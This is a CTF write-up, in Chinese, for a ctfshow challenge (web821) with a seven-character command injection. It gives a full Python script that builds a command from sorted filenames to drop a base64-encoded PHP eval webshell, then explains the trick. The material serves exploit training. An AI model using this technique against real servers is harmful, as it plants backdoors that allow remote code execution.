ctfshow web821(7字符文件可写)

$cmd = $_POST['cmd'];

if(strlen($cmd) <= 7){
    shell_exec($cmd);
}

脚本如下：

import requests
import time

url = "http://c85490d2-f0fc-4ed5-86a1-6ee92355718a.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

	


if __name__ == '__main__':
	main()

这里的极限7字符是ls -t>0

这里的payload说再多不如在本地多试试咯。

大体思路就是：通过>xxx写文件名，然后ls -t>a将所有写的文件名排序写入一个新的文件，最后.执行新文件里面的“文件名组成的命令”。

payload里面有很多转译换行和空格还有一些特殊字符之类的。（自己多试试就明白了）